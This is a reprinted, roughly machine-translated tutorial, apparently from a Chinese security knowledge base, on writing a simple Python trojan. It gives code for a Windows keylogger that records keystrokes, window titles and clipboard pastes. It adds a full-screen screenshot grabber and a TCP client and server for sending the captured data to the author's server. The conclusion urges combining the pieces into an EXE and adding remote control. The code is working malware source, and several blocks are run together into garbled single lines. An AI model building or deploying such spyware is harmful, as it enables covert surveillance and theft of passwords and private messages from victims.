Python Programming Simple Trojan (reprint cloud)

Source: Internet
Author: User
Tags print print knowledge base

Python Programming Simple Trojan Light2015/01/26 10:07

0x00 Preparation

The content of the article is for study only, not for illegal use!

This time we use Python to write a simple Trojan with Keylogger, screenshot, and communication functions. Still choose Sublime Text2 +jedi (Python auto-complete plug-in) to the code, install the configuration JEDI plug-in can be referenced here:/tips/?id=4413

First, prepare the dependent libraries, Python hooks and pythoncom we need.

Download and install Python hooks

Download and install the Pythoncom module:

Http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/pywin32-219.win32-py2.7.exe/download

If you feel the hassle, you can use the commercial version of ActivePython (which we can use for his free version) that integrates all of the Python libraries we need directly:

Http://www.activestate.com/activepython

0x01 Keyboard Recorder

Speaking of Keylogger, everyone's thinking may have already flown to the mini hardware with WiFi function. Put aside the high-tech, we return to the essence, explore the simple keylogger principle and implementation.

The implementation of the Python Keylogger keylogger feature mainly exploits the pythoncom and Pythonhook, and then the various calls to the Windows API. Python is easy to use, thanks largely to these huge support libraries, which are called "life is too short to use Python".

Code section:

#!python#-*-coding:utf-8-*-from ctypes import *import pythoncomimport pyhookimport win32clipboarduser32 = Windll.use  R32kernel32 = Windll.kernel32psapi = Windll.psapicurrent_window = none# def get_current_process (): # Gets the topmost window handle HWND = User32. GetForegroundWindow () # Gets the process id pid = c_ulong (0) User32. GetWindowThreadProcessId (Hwnd,byref (PID)) # Store process ID in variable process_id = "%d"% Pid.value # Request Memory executable = creat E_string_buffer ("\x00" *512) h_process = kernel32. OpenProcess (0x400 | 0x10,false,pid) Psapi.    Getmodulebasenamea (H_process,none,byref (executable), 512) # read window title Windows_title = Create_string_buffer ("\x00" *512) Length = User32. Getwindowtexta (Hwnd,byref (windows_title), 512) # Prints print print "[pid:%s-%s-%s]"% (Process_id,executable.value, Windows_title.value) Print # closes handles KERNEL32. CloseHandle (HWND) kernel32.  CloseHandle (h_process) # Defining Keystroke listener event function Def keystroke (event): Global Current_window # Detects if the target window is being transferred (new window will be tapped for other windows)  If event. Windowname! = Current_window:current_window = event. Windowname # function Call Get_current_process () # Detects if the keystroke is a regular key (non-composite key, etc.) if event. Ascii > + event. Ascii <127:print Chr (event. ASCII), Else: # If you find the Ctrl + V (Paste) event, log the Clipboard contents down to the If event. Key = = "V": Win32clipboard. OpenClipboard () Pasted_value = Win32clipboard. GetClipboardData () Win32clipboard. CloseClipboard () print "[paste]-%s"% (pasted_value), Else:print "[%s]"% event. Key, # Loop to listen for the next keystroke event return true# Create and register the hook manager KL = Pyhook.hookmanager () kl. KeyDown = keystroke# registers the hook and executes the KL. Hookkeyboard () pythoncom. Pumpmessages ()

"Knowledge point" hook: a platform for Windows message processing, where an application can set a subroutine to monitor a message for a specified window, and the window being monitored can be created by another process.

It is important to note that the code is strictly case sensitive. Check for error after starting Keylogger:

Then you can try to open Notepad to write something, and in the process you can see that our keylogger window is recording our input in real time:

When the window is toggled, it will automatically track to the new window (audience: This function is not yet dare to call Keylogger!) , Professor Light took the opportunity to harass the mad dog, can see our keylogger has been tracking QQ Chat window, and faithfully recorded everything I entered.

0x02 See what you're doing: writing a screenshotter

Screenshot implementation is more simple, directly call a few GUI-related APIs, we directly look at the code:

#!python# -*- coding: utf-8 -*-  import win32guiimport win32uiimport win32conimport win32api# 获取桌面hdesktop = win32gui.GetDesktopWindow()# 分辨率适应width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)# 创建设备描述表desktop_dc = win32gui.GetWindowDC(hdesktop)img_dc = win32ui.CreateDCFromHandle(desktop_dc)# 创建一个内存设备描述表mem_dc = img_dc.CreateCompatibleDC()# 创建位图对象screenshot = win32ui.CreateBitmap()screenshot.CreateCompatibleBitmap(img_dc, width, height)mem_dc.SelectObject(screenshot)# 至内存设备描述表mem_dc.BitBlt((0, 0), (width, height), img_dc, (left, top), win32con.SRCCOPY)# 将保存到文件中screenshot.SaveBitmapFile(mem_dc, ‘c:\\WINDOWS\\Temp\\screenshot.bmp‘)# 内存释放mem_dc.DeleteDC()win32gui.DeleteObject(screenshot.GetHandle())

See how it works:

0X03 Comprehensive use: complete a simple Trojan

Whether it is keylogger recorded content, or screenshotter intercepted pictures, only the client is not much significance, we need to build a simple server and client side to communicate, transfer the contents of the record to our server.

Write a simple TcpClient

#!python# -*- coding: utf-8 -*- import socket# 目标地址IP/URL及端口target_host = "127.0.0.1"target_port = 9999# 创建一个socket对象client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)# 连接主机client.connect((target_host,target_port))# 发送数据client.send("GET / HTTP/1.1\r\nHOST:127.0.0.1\r\n\r\n")# 接收响应response = client.recv(4096)print response

Write a simple TCPServer

#!python# -*- coding: utf-8 -*- import socketimport threading# 监听的IP及端口bind_ip = "127.0.0.1"bind_port = 9999server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)server.bind((bind_ip,bind_port))server.listen(5)print "[*] Listening on %s:%d" % (bind_ip,bind_port)def handle_client(client_socket):    request = client_socket.recv(1024)    print "[*] Received:%s" % request    client_socket.send("ok!")    client_socket.close()while True:    client,addr = server.accept()    print "[*] Accept connection from:%s:%d" % (addr[0],addr[1])    client_handler = threading.Thread(target=handle_client,args=(client,))    client_handler.start()

Turn on server monitoring:

Client execution:

The server receives the client's request and responds:

0X04 Conclusion

Finally, what you need to do is to combine the three modules above, a simple Trojan with keylogger, screen and can send content to our server. You can use Py2exe to generate an EXE executable file for your script. Of course you can also continue to play, plus remote control functions. Py2exe usage can be consulted here:

Http://www.py2exe.org/index.cgi/Tutorial

Enjoy coding~

Reference Documentation:

"Black Hat Python" https://www.google.com https://www.python.org/http://www.py2exe.org/

Black Cloud Knowledge Base all rights reserved without permission forbidden Reprint

Python Programming Simple Trojan (reprint cloud)

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.